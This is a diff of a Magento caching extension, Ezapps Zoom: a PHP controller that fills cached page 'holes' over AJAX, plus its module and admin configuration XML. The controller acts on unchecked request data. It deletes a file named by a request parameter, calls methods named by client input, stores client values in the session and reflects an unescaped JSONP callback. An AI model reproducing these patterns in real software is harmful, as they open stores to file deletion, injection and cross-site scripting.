|
12 |
+
|
13 |
+
public function convertAction() {
|
14 |
+
|
15 |
+
$result = Mage::helper('ezzoom')->getCurrencyInfo();
|
16 |
+
|
17 |
+
$this->getResponse()->setBody(Mage::helper('core')->jsonEncode($result));
|
18 |
+
|
19 |
+
}
|
20 |
+
|
21 |
+
public function fillAction() {
|
22 |
+
|
23 |
+
$session = Mage::getSingleton('customer/session');
|
24 |
+
|
25 |
+
$data = json_decode(Mage::helper('ezzoom')->decompress($this->getRequest()->getParam('holes')), true);
|
26 |
+
|
27 |
+
$page = Mage::getModel('ezzoom/page')->load($this->getRequest()->getParam('id'));
|
28 |
+
|
29 |
+
if ($page->getFilename() != '') {
|
30 |
+
$page->setHits($page->getHits()+1)->save();
|
31 |
+
} else {
|
32 |
+
Mage::helper('ezzoom')->deleteFile(Mage::helper('ezzoom')->decompress($this->getRequest()->getParam('key')));
|
33 |
+
}
|
34 |
+
|
35 |
+
Mage::helper('ezzoom')->setMatchedPage(false);
|
36 |
+
|
37 |
+
$update = Mage::getSingleton('core/layout')->getUpdate();
|
38 |
+
|
39 |
+
$accept = array("default", "STORE_", "THEME_", "customer_logged_out");
|
40 |
+
|
41 |
+
foreach ($data['handles'] as $handle)
|
42 |
+
$update->addHandle("ezzoom_" . $handle);
|
43 |
+
|
44 |
+
$this->loadLayout();
|
45 |
+
|
46 |
+
foreach ($data['cache_key_info'] as $cache) {
|
47 |
+
$this->_initLayoutMessages($cache);
|
48 |
+
}
|
49 |
+
|
50 |
+
$result = Mage::helper('ezzoom')->getCurrencyInfo();
|
51 |
+
|
52 |
+
if (trim($data['url']) != '')
|
53 |
+
$session->setLastEzzoomUrl($data['url']);
|
54 |
+
|
55 |
+
$hole_filling = array();
|
56 |
+
|
57 |
+
if (!Mage::getSingleton('catalog/session')->getParamsMemorizeDisabled())
|
58 |
+
foreach ($data['control'] as $key => $value)
|
59 |
+
$session->setData($key, $value);
|
60 |
+
|
61 |
+
foreach ($data['holes'] as $module => $blocks) {
|
62 |
+
|
63 |
+
foreach ($blocks as $key => $block_name) {
|
64 |
+
|
65 |
+
if ($module == 'poll') {
|
66 |
+
if (!Mage::getSingleton('core/session')->getJustVotedPoll())
|
67 |
+
Mage::getSingleton('core/session')->setJustVotedPoll(Mage::getSingleton('core/session')->getZoomRecentVote());
|
68 |
+
}
|
69 |
+
|
70 |
+
try {
|
71 |
+
$params = explode(",", $block_name);
|
72 |
+
$block_name = $params[0];
|
73 |
+
$block_object = Mage::getSingleton('core/layout')->getBlock($block_name);
|
74 |
+
if (is_object($block_object) && method_exists($block_object, 'setCacheTag')) {
|
75 |
+
if ($block_name == 'global_messages') {
|
76 |
+
} else if (array_key_exists(1, $params)) {
|
77 |
+
$hole_filling[] = array('block' => $key, 'data' => $block_object->setCacheTag(false)->{$params[1]}() );
|
78 |
+
} else
|
79 |
+
$hole_filling[] = array('block' => $key, 'data' => $block_object->setCacheTag(false)->toHTML());
|
80 |
+
|
81 |
+
|
82 |
+
} else if (Mage::helper('ezzoom')->getDebugAjax())
|
83 |
+
$hole_filling[] = array('block' => $key, 'data' => "Cannot locate block: $block_name");
|
84 |
+
|
85 |
+
} catch(Exception $e){
|
86 |
+
if (Mage::helper('ezzoom')->getDebugAjax())
|
87 |
+
$hole_filling[] = array('block' => $key, 'data' => $e->getMessage());
|
88 |
+
}
|
89 |
+
|
90 |
+
if ($module == 'poll') {
|
91 |
+
Mage::getSingleton('core/session')->setZoomRecentVote(false);
|
92 |
+
Mage::getSingleton('core/session')->getJustVotedPoll(false);
|
93 |
+
}
|
94 |
+
|
95 |
+
}
|
96 |
+
|
97 |
+
}
|
98 |
+
|
99 |
+
$result['fill'] = $hole_filling;
|
100 |
+
|
101 |
+
if (array_key_exists('pid', $data)) {
|
102 |
+
|
103 |
+
|
104 |
+
$product_index = Mage::getModel('reports/product_index_viewed')->getCollection()
|
105 |
+
->addFieldToFilter('store_id', array('eq' => Mage::app()->getStore()->getId()))
|
106 |
+
->addFieldToFilter('product_id', array('eq' => $data['pid']));
|
107 |
+
|
108 |
+
if ($session->isLoggedIn()) {
|
109 |
+
|
110 |
+
$product_index->addFieldToFilter('customer_id', array('eq' => $session->getCustomerId()));
|
111 |
+
|
112 |
+
if (count($product_index) < 1)
|
113 |
+
Mage::getModel('reports/product_index_viewed')
|
114 |
+
->setCustomerId($session->getCustomerId())
|
115 |
+
->setProductId($data['pid'])
|
116 |
+
->setStoreId(Mage::app()->getStore()->getId())
|
117 |
+
->save()
|
118 |
+
->calculate();
|
119 |
+
|
120 |
+
} else {
|
121 |
+
|
122 |
+
$product_index->addFieldToFilter('visitor_id', array('eq' => Mage::getSingleton('log/visitor')->getId()));
|
123 |
+
|
124 |
+
|
125 |
+
if (count($product_index) < 1)
|
126 |
+
Mage::getModel('reports/product_index_viewed')
|
127 |
+
->setVisitorId(Mage::getSingleton('log/visitor')->getId())
|
128 |
+
->setCustomerId(null)
|
129 |
+
->setProductId($data['pid'])
|
130 |
+
->setStoreId(Mage::app()->getStore()->getId())
|
131 |
+
->save()
|
132 |
+
->calculate();
|
133 |
+
}
|
134 |
+
|
135 |
+
}
|
136 |
+
|
137 |
+
$this->getResponse()->setBody($this->getRequest()->getParam('callback') . '(' . Mage::helper('core')->jsonEncode($result) . ')');
|
138 |
+
$this->getResponse()->setHeader('content-type', 'application/x-javascript', true);
|
139 |
+
|
140 |
+
}
|
141 |
+
}
|
app/code/local/Ezapps/Zoom/etc/config.xml
ADDED
@@ -0,0 +1,306 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?xml version="1.0"?>
|
2 |
+
<config>
|
3 |
+
<modules>
|
4 |
+
<Ezapps_Zoom>
|
5 |
+
<version>1.0.1</version>
|
6 |
+
</Ezapps_Zoom>
|
7 |
+
</modules>
|
8 |
+
<crontab>
|
9 |
+
<jobs>
|
10 |
+
<ezzoom>
|
11 |
+
<schedule><cron_expr>* * * * *</cron_expr></schedule>
|
12 |
+
<run><model>ezzoom/cron::cleanCache</model></run>
|
13 |
+
</ezzoom>
|
14 |
+
</jobs>
|
15 |
+
</crontab>
|
16 |
+
<global>
|
17 |
+
<models>
|
18 |
+
<ezzoom>
|
19 |
+
<class>Ezapps_Zoom_Model</class>
|
20 |
+
<resourceModel>ezzoom_mysql4</resourceModel>
|
21 |
+
</ezzoom>
|
22 |
+
<ezzoom_mysql4>
|
23 |
+
<class>Ezapps_Zoom_Model_Mysql4</class>
|
24 |
+
<entities>
|
25 |
+
<ezapps_zoom_page><table>ezapps_zoom_page</table></ezapps_zoom_page>
|
26 |
+
</entities>
|
27 |
+
</ezzoom_mysql4>
|
28 |
+
<core>
|
29 |
+
<rewrite>
|
30 |
+
<url>Ezapps_Zoom_Model_Url</url>
|
31 |
+
</rewrite>
|
32 |
+
</core>
|
33 |
+
</models>
|
34 |
+
<blocks>
|
35 |
+
<ezzoom>
|
36 |
+
<class>Ezapps_Zoom_Block</class>
|
37 |
+
</ezzoom>
|
38 |
+
<catalog>
|
39 |
+
<rewrite>
|
40 |
+
<product_compare_sidebar>Ezapps_Zoom_Block_Wrapper_Compare</product_compare_sidebar>
|
41 |
+
<product_list_toolbar>Ezapps_Zoom_Block_Toolbar</product_list_toolbar>
|
42 |
+
</rewrite>
|
43 |
+
</catalog>
|
44 |
+
<checkout>
|
45 |
+
<rewrite>
|
46 |
+
<cart_sidebar>Ezapps_Zoom_Block_Wrapper_Cart</cart_sidebar>
|
47 |
+
</rewrite>
|
48 |
+
</checkout>
|
49 |
+
<directory>
|
50 |
+
<rewrite>
|
51 |
+
<currency>Ezapps_Zoom_Block_Wrapper_Currency</currency>
|
52 |
+
</rewrite>
|
53 |
+
</directory>
|
54 |
+
<reports>
|
55 |
+
<rewrite>
|
56 |
+
<product_viewed>Ezapps_Zoom_Block_Wrapper_Viewed</product_viewed>
|
57 |
+
<product_compared>Ezapps_Zoom_Block_Wrapper_Compared</product_compared>
|
58 |
+
</rewrite>
|
59 |
+
</reports>
|
60 |
+
<page>
|
61 |
+
<rewrite>
|
62 |
+
<template_links>Ezapps_Zoom_Block_Wrapper_Links</template_links>
|
63 |
+
<html_header>Ezapps_Zoom_Block_Wrapper_Header</html_header>
|
64 |
+
</rewrite>
|
65 |
+
</page>
|
66 |
+
<poll>
|
67 |
+
<rewrite>
|
68 |
+
<activePoll>Ezapps_Zoom_Block_Wrapper_Poll</activePoll>
|
69 |
+
</rewrite>
|
70 |
+
</poll>
|
71 |
+
<sales>
|
72 |
+
<rewrite>
|
73 |
+
<reorder_sidebar>Ezapps_Zoom_Block_Wrapper_Reorder</reorder_sidebar>
|
74 |
+
</rewrite>
|
75 |
+
</sales>
|
76 |
+
<core>
|
77 |
+
<rewrite>
|
78 |
+
<messages>Ezapps_Zoom_Block_Wrapper_Messages</messages>
|
79 |
+
</rewrite>
|
80 |
+
</core>
|
81 |
+
<page>
|
82 |
+
<rewrite>
|
83 |
+
<html_notices>Ezapps_Zoom_Block_Wrapper_Notices</html_notices>
|
84 |
+
</rewrite>
|
85 |
+
</page>
|
86 |
+
<wishlist>
|
87 |
+
<rewrite>
|
88 |
+
<customer_sidebar>Ezapps_Zoom_Block_Wrapper_Wishlist</customer_sidebar>
|
89 |
+
</rewrite>
|
90 |
+
</wishlist>
|
91 |
+
</blocks>
|
92 |
+
<helpers>
|
93 |
+
<ezzoom>
|
94 |
+
<class>Ezapps_Zoom_Helper</class>
|
95 |
+
</ezzoom>
|
96 |
+
</helpers>
|
97 |
+
<resources>
|
98 |
+
<ezzoom_setup>
|
99 |
+
<setup>
|
100 |
+
<module>Ezapps_Zoom</module>
|
101 |
+
</setup>
|
102 |
+
<connection>
|
103 |
+
<use>core_setup</use>
|
104 |
+
</connection>
|
105 |
+
</ezzoom_setup>
|
106 |
+
<ezzoom_write>
|
107 |
+
<connection>
|
108 |
+
<use>core_write</use>
|
109 |
+
</connection>
|
110 |
+
</ezzoom_write>
|
111 |
+
<ezzoom_read>
|
112 |
+
<connection>
|
113 |
+
<use>core_read</use>
|
114 |
+
</connection>
|
115 |
+
</ezzoom_read>
|
116 |
+
</resources>
|
117 |
+
</global>
|
118 |
+
<frontend>
|
119 |
+
<routers>
|
120 |
+
<ezzoom>
|
121 |
+
<use>standard</use>
|
122 |
+
<args>
|
123 |
+
<module>Ezapps_Zoom</module>
|
124 |
+
<frontName>ezzoom</frontName>
|
125 |
+
</args>
|
126 |
+
</ezzoom>
|
127 |
+
<directory>
|
128 |
+
<args>
|
129 |
+
<modules>
|
130 |
+
<Ezapps_Zoom before="Mage_Directory">Ezapps_Zoom</Ezapps_Zoom>
|
131 |
+
</modules>
|
132 |
+
</args>
|
133 |
+
</directory>
|
134 |
+
</routers>
|
135 |
+
<layout>
|
136 |
+
<updates>
|
137 |
+
<ezzoom>
|
138 |
+
<file>ezzoom.xml</file>
|
139 |
+
</ezzoom>
|
140 |
+
</updates>
|
141 |
+
</layout>
|
142 |
+
</frontend>
|
143 |
+
<adminhtml>
|
144 |
+
<events>
|
145 |
+
<cms_page_prepare_save>
|
146 |
+
<observers>
|
147 |
+
<ezzoom_cms_save>
|
148 |
+
<type>model</type>
|
149 |
+
<class>ezzoom/observer</class>
|
150 |
+
<method>clearCMS</method>
|
151 |
+
</ezzoom_cms_save>
|
152 |
+
</observers>
|
153 |
+
</cms_page_prepare_save>
|
154 |
+
<catalog_category_prepare_save>
|
155 |
+
<observers>
|
156 |
+
<ezzoom_category_save>
|
157 |
+
<type>model</type>
|
158 |
+
<class>ezzoom/observer</class>
|
159 |
+
<method>clearCategory</method>
|
160 |
+
</ezzoom_category_save>
|
161 |
+
</observers>
|
162 |
+
</catalog_category_prepare_save>
|
163 |
+
<catalog_product_prepare_save>
|
164 |
+
<observers>
|
165 |
+
<ezzoom_product_save>
|
166 |
+
<type>model</type>
|
167 |
+
<class>ezzoom/observer</class>
|
168 |
+
<method>clearProduct</method>
|
169 |
+
</ezzoom_product_save>
|
170 |
+
</observers>
|
171 |
+
</catalog_product_prepare_save>
|
172 |
+
</events>
|
173 |
+
<menu>
|
174 |
+
<ezzoom module="ezzoom">
|
175 |
+
<title>Zoom</title>
|
176 |
+
<sort_order>50</sort_order>
|
177 |
+
<children>
|
178 |
+
<pages translate="title" module="ezzoom">
|
179 |
+
<title>View Page Cache</title>
|
180 |
+
<action>ezzoom/adminhtml_ezzoom</action>
|
181 |
+
<sort_order>10</sort_order>
|
182 |
+
</pages>
|
183 |
+
<settings translate="title" module="ezzoom">
|
184 |
+
<title>Configure Zoom</title>
|
185 |
+
<action>adminhtml/system_config/edit/section/ezzoom_general</action>
|
186 |
+
<sort_order>20</sort_order>
|
187 |
+
</settings>
|
188 |
+
</children>
|
189 |
+
</ezzoom>
|
190 |
+
</menu>
|
191 |
+
<admin>
|
192 |
+
<children>
|
193 |
+
<ezzoom translate="title" module="ezzoom">
|
194 |
+
<title>Zoom Cache Manager</title>
|
195 |
+
<sort_order>50</sort_order>
|
196 |
+
<children>
|
197 |
+
<pages translate="title" module="ezzoom">
|
198 |
+
<title>View Page Cache</title>
|
199 |
+
<action>ezzoom/adminhtml_ezzoom</action>
|
200 |
+
<sort_order>10</sort_order>
|
201 |
+
</pages>
|
202 |
+
<settings translate="title" module="ezzoom">
|
203 |
+
<title>Configure Zoom</title>
|
204 |
+
<action>adminhtml/system_config/edit/section/ezzoom_general</action>
|
205 |
+
<sort_order>20</sort_order>
|
206 |
+
</settings>
|
207 |
+
</children>
|
208 |
+
</ezzoom>
|
209 |
+
</children>
|
210 |
+
</admin>
|
211 |
+
<layout>
|
212 |
+
<updates>
|
213 |
+
<ezzoom>
|
214 |
+
<file>ezzoom.xml</file>
|
215 |
+
</ezzoom>
|
216 |
+
</updates>
|
217 |
+
</layout>
|
218 |
+
<acl>
|
219 |
+
<resources>
|
220 |
+
<all>
|
221 |
+
<title>Allow Everything</title>
|
222 |
+
</all>
|
223 |
+
<admin>
|
224 |
+
<children>
|
225 |
+
<ezzoom>
|
226 |
+
<title>Zoom Interface</title>
|
227 |
+
<sort_order>10</sort_order>
|
228 |
+
<children>
|
229 |
+
<pages>
|
230 |
+
<title>Cache Control</title>
|
231 |
+
</pages>
|
232 |
+
<settings>
|
233 |
+
<title>Configure Zoom</title>
|
234 |
+
</settings>
|
235 |
+
</children>
|
236 |
+
</ezzoom>
|
237 |
+
<system>
|
238 |
+
<children>
|
239 |
+
<config>
|
240 |
+
<children>
|
241 |
+
<ezzoom_general>
|
242 |
+
<title>Zoom Cache Configuration</title>
|
243 |
+
</ezzoom_general>
|
244 |
+
</children>
|
245 |
+
</config>
|
246 |
+
</children>
|
247 |
+
</system>
|
248 |
+
</children>
|
249 |
+
</admin>
|
250 |
+
</resources>
|
251 |
+
</acl>
|
252 |
+
</adminhtml>
|
253 |
+
<default>
|
254 |
+
<ezzoom_general>
|
255 |
+
<basicsettings>
|
256 |
+
<active>0</active>
|
257 |
+
<base_cache_path>zoom</base_cache_path>
|
258 |
+
<gzip>0</gzip>
|
259 |
+
<gzip_copy>1</gzip_copy>
|
260 |
+
<normalize_urls>1</normalize_urls>
|
261 |
+
<friendly_urls>0</friendly_urls>
|
262 |
+
</basicsettings>
|
263 |
+
<cache_control>
|
264 |
+
<cache_ttl>7200</cache_ttl>
|
265 |
+
<cache_product_ttl>7200</cache_product_ttl>
|
266 |
+
<cache_review_ttl>7200</cache_review_ttl>
|
267 |
+
<cache_category_ttl>7200</cache_category_ttl>
|
268 |
+
<cache_cms_ttl>7200</cache_cms_ttl>
|
269 |
+
<zoom_product>1</zoom_product>
|
270 |
+
<zoom_review>1</zoom_review>
|
271 |
+
<zoom_category>1</zoom_category>
|
272 |
+
<zoom_cms>1</zoom_cms>
|
273 |
+
</cache_control>
|
274 |
+
<holepunch>
|
275 |
+
<punch_messages>2</punch_messages>
|
276 |
+
<punch_notices>2</punch_notices>
|
277 |
+
<punch_reorder>2</punch_reorder>
|
278 |
+
<punch_poll>2</punch_poll>
|
279 |
+
<punch_cart>2</punch_cart>
|
280 |
+
<punch_compare>2</punch_compare>
|
281 |
+
<punch_header>2</punch_header>
|
282 |
+
<punch_links>2</punch_links>
|
283 |
+
<punch_viewed>2</punch_viewed>
|
284 |
+
<punch_compared>2</punch_compared>
|
285 |
+
<punch_wishlist>2</punch_wishlist>
|
286 |
+
<punch_currency>0</punch_currency>
|
287 |
+
</holepunch>
|
288 |
+
<links_configuration>
|
289 |
+
<log_position>100</log_position>
|
290 |
+
<myaccount_position>10</myaccount_position>
|
291 |
+
<wishlist_position>30</wishlist_position>
|
292 |
+
<cart_position>50</cart_position>
|
293 |
+
<checkout_position>60</checkout_position>
|
294 |
+
<zoom_addlinks></zoom_addlinks>
|
295 |
+
</links_configuration>
|
296 |
+
<debug>
|
297 |
+
<ajax_debug>1</ajax_debug>
|
298 |
+
<regex_debug>1</regex_debug>
|
299 |
+
</debug>
|
300 |
+
<ezzoomlink>
|
301 |
+
<addlink>0</addlink>
|
302 |
+
<style>width:100%;margin-left:auto;margin-right:auto;text-align:center;margin-bottom:5px</style>
|
303 |
+
</ezzoomlink>
|
304 |
+
</ezzoom_general>
|
305 |
+
</default>
|
306 |
+
</config>
|
app/code/local/Ezapps/Zoom/etc/system.xml
ADDED
@@ -0,0 +1,405 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<config>
|
2 |
+
<sections>
|
3 |
+
<ezzoom_general translate="label" module="ezzoom">
|
4 |
+
<label>Zoom</label>
|
5 |
+
<tab>eztools</tab>
|
6 |
+
<sort_order>10</sort_order>
|
7 |
+
<show_in_default>1</show_in_default>
|
8 |
+
<show_in_website>1</show_in_website>
|
9 |
+
<show_in_store>1</show_in_store>
|
10 |
+
<groups>
|
11 |
+
<basicsettings translate="label">
|
12 |
+
<label>Basic Settings</label>
|
13 |
+
<frontend_type>text</frontend_type>
|
14 |
+
<comment><![CDATA[
|
15 |
+
<div style="position:relative"><div style="position:absolute; right:5px">
|
16 |
+
<a href="http://www.ezapps.ca/">
|
17 |
+
<img src="//www.ezapps.ca/media/ezapps_small_logo.png" border="0" /><br/>
|
18 |
+
<img src="//www.ezapps.ca/media/zoom_small_logo.png" border="0" />
|
19 |
+
</a>
|
20 |
+
</div></div>
|
21 |
+
]]></comment>
|
22 |
+
<sort_order>10</sort_order>
|
23 |
+
<show_in_default>1</show_in_default>
|
24 |
+
<show_in_website>1</show_in_website>
|
25 |
+
<show_in_store>1</show_in_store>
|
26 |
+
<fields>
|
27 |
+
<active translate="label">
|
28 |
+
<label>Enabled</label>
|
29 |
+
<comment>Global Zoom controller</comment>
|
30 |
+
<frontend_type>select</frontend_type>
|
31 |
+
<source_model>adminhtml/system_config_source_yesno</source_model>
|
32 |
+
<sort_order>0</sort_order>
|
33 |
+
<show_in_default>1</show_in_default>
|
34 |
+
<show_in_website>1</show_in_website>
|
35 |
+
<show_in_store>1</show_in_store>
|
36 |
+
</active>
|
37 |
+
<gzip translate="label">
|
38 |
+
<label>GZIP Level</label>
|
39 |
+
<comment>Compresses the cached page in gzip format</comment>
|
40 |
+
<frontend_type>select</frontend_type>
|
41 |
+
<source_model>ezzoom/system_config_backend_gzip</source_model>
|
42 |
+
<backend_model>ezzoom/system_config_backend_gzip</backend_model>
|
43 |
+
<sort_order>8</sort_order>
|
44 |
+
<show_in_default>1</show_in_default>
|
45 |
+
<show_in_website>1</show_in_website>
|
46 |
+
<show_in_store>1</show_in_store>
|
47 |
+
</gzip>
|
48 |
+
<gzip_copy translate="label">
|
49 |
+
<label>Save GZIP As A Copy</label>
|
50 |
+
<comment>Produces a separate copy for older browers</comment>
|
51 |
+
<frontend_type>select</frontend_type>
|
52 |
+
<source_model>adminhtml/system_config_source_yesno</source_model>
|
53 |
+
<sort_order>10</sort_order>
|
54 |
+
<show_in_default>1</show_in_default>
|
55 |
+
<show_in_website>1</show_in_website>
|
56 |
+
<show_in_store>1</show_in_store>
|
57 |
+
</gzip_copy>
|
58 |
+
<normalize_urls translate="label">
|
59 |
+
<label>Normalize Category URLs</label>
|
60 |
+
<comment>Reduces misses by passing toolbar state</comment>
|
61 |
+
<frontend_type>select</frontend_type>
|
62 |
+
<source_model>adminhtml/system_config_source_yesno</source_model>
|
63 |
+
<sort_order>12</sort_order>
|
64 |
+
<show_in_default>1</show_in_default>
|
65 |
+
<show_in_website>1</show_in_website>
|
66 |
+
<show_in_store>1</show_in_store>
|
67 |
+
</normalize_urls>
|
68 |
+
<friendly_urls translate="label">
|
69 |
+
<label>Rewrite Category URLs</label>
|
70 |
+
<comment>Eliminate get variables from categories</comment>
|
71 |
+
<frontend_type>select</frontend_type>
|
72 |
+
<source_model>adminhtml/system_config_source_yesno</source_model>
|
73 |
+
<sort_order>14</sort_order>
|
74 |
+
<show_in_default>1</show_in_default>
|
75 |
+
<show_in_website>1</show_in_website>
|
76 |
+
<show_in_store>1</show_in_store>
|
77 |
+
</friendly_urls>
|
78 |
+
</fields>
|
79 |
+
</basicsettings>
|
80 |
+
<cache_control translate="label">
|
81 |
+
<label>Page Caching Controls</label>
|
82 |
+
<frontend_type>text</frontend_type>
|
83 |
+
<sort_order>25</sort_order>
|
84 |
+
<show_in_default>1</show_in_default>
|
85 |
+
<show_in_website>1</show_in_website>
|
86 |
+
<show_in_store>1</show_in_store>
|
87 |
+
<fields>
|
88 |
+
<cache_ttl translate="label">
|
89 |
+
<label>Global Cache TTL</label>
|
90 |
+
<comment>A value of "0" disables TTL invalidation.</comment>
|
91 |
+
<frontend_type>text</frontend_type>
|
92 |
+
<sort_order>0</sort_order>
|
93 |
+
<show_in_default>1</show_in_default>
|
94 |
+
<show_in_website>1</show_in_website>
|
95 |
+
<show_in_store>1</show_in_store>
|
96 |
+
</cache_ttl>
|
97 |
+
<cache_product_ttl translate="label">
|
98 |
+
<label>Product Cache TTL</label>
|
99 |
+
<comment>A value of "0" disables TTL invalidation.</comment>
|
100 |
+
<frontend_type>text</frontend_type>
|
101 |
+
<sort_order>1</sort_order>
|
102 |
+
<show_in_default>1</show_in_default>
|
103 |
+
<show_in_website>1</show_in_website>
|
104 |
+
<show_in_store>1</show_in_store>
|
105 |
+
</cache_product_ttl>
|
106 |
+
<cache_review_ttl translate="label">
|
107 |
+
<label>Review Cache TTL</label>
|
108 |
+
<comment>A value of "0" disables TTL invalidation.</comment>
|
109 |
+
<frontend_type>text</frontend_type>
|
110 |
+
<sort_order>2</sort_order>
|
111 |
+
<show_in_default>1</show_in_default>
|
112 |
+
<show_in_website>1</show_in_website>
|
113 |
+
<show_in_store>1</show_in_store>
|
114 |
+
</cache_review_ttl>
|
115 |
+
<cache_category_ttl translate="label">
|
116 |
+
<label>Category Cache TTL</label>
|
117 |
+
<comment>A value of "0" disables TTL invalidation.</comment>
|
118 |
+
<frontend_type>text</frontend_type>
|
119 |
+
<sort_order>3</sort_order>
|
120 |
+
<show_in_default>1</show_in_default>
|
121 |
+
<show_in_website>1</show_in_website>
|
122 |
+
<show_in_store>1</show_in_store>
|
123 |
+
</cache_category_ttl>
|
124 |
+
<cache_cms_ttl translate="label">
|
125 |
+
<label>CMS Cache TTL</label>
|
126 |
+
<comment>A value of "0" disables TTL invalidation.</comment>
|
127 |
+
<frontend_type>text</frontend_type>
|
128 |
+
<sort_order>3</sort_order>
|
129 |
+
<show_in_default>1</show_in_default>
|
130 |
+
<show_in_website>1</show_in_website>
|
131 |
+
<show_in_store>1</show_in_store>
|
132 |
+
</cache_cms_ttl>
|
133 |
+
<zoom_product translate="label">
|
134 |
+
<label>Cache Products</label>
|
135 |
+
<frontend_type>select</frontend_type>
|
136 |
+
<source_model>adminhtml/system_config_source_yesno</source_model>
|
137 |
+
<sort_order>5</sort_order>
|
138 |
+
<show_in_default>1</show_in_default>
|
139 |
+
<show_in_website>1</show_in_website>
|
140 |
+
<show_in_store>1</show_in_store>
|
141 |
+
</zoom_product>
|
142 |
+
<zoom_review translate="label">
|
143 |
+
<label>Cache Product Reviews</label>
|
144 |
+
<frontend_type>select</frontend_type>
|
145 |
+
<source_model>adminhtml/system_config_source_yesno</source_model>
|
146 |
+
<sort_order>6</sort_order>
|
147 |
+
<show_in_default>1</show_in_default>
|
148 |
+
